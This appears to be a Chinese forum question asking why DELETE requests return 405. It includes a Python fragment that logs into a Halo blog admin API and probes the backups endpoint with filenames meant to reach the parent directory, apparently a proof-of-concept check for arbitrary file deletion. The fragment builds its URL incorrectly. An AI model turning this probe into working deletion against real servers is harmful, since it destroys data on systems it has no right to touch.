我想编程实现一些功能，但是对于 delete 请求一直得到的响应是 405 方法不允许？这个该怎么解决？

登陆获取 Admin-Authorization

data = '{"username":"**","password":"****"}'
req = requests.post(self.url + ":8090/api/admin/login", data = data,headers=header, verify=False)

    pattern = r'\"access_token\":\"([a-z0-9]{32})'
    access_token = re.search(pattern, req.text)
    Admin = access_token.group()[-32::]
    header.update({"Admin-Authorization":Admin})
    header.update({"Referer": "http://172.16.126.152:8090/admin/index.html"})
    header.update({"Origin": "http://172.16.126.152:8090"})
    header.pop('Content-Type')
    # 存放在上级目录的测试文件
    file_list = ["test.txt", "1.txt", ]
    vuln_url = "/api/admin/backups/halo?filename="
    url = self.url + ":8090"
    for i in file_list:
        payload = url + vuln_url + i
        print(payload)
        req = requests.delete(self.url + payload, headers=header, verify=False,proxies=proxy)
        if req.status_code == 200 and '"message":"OK"' in req.text:
             flag = True
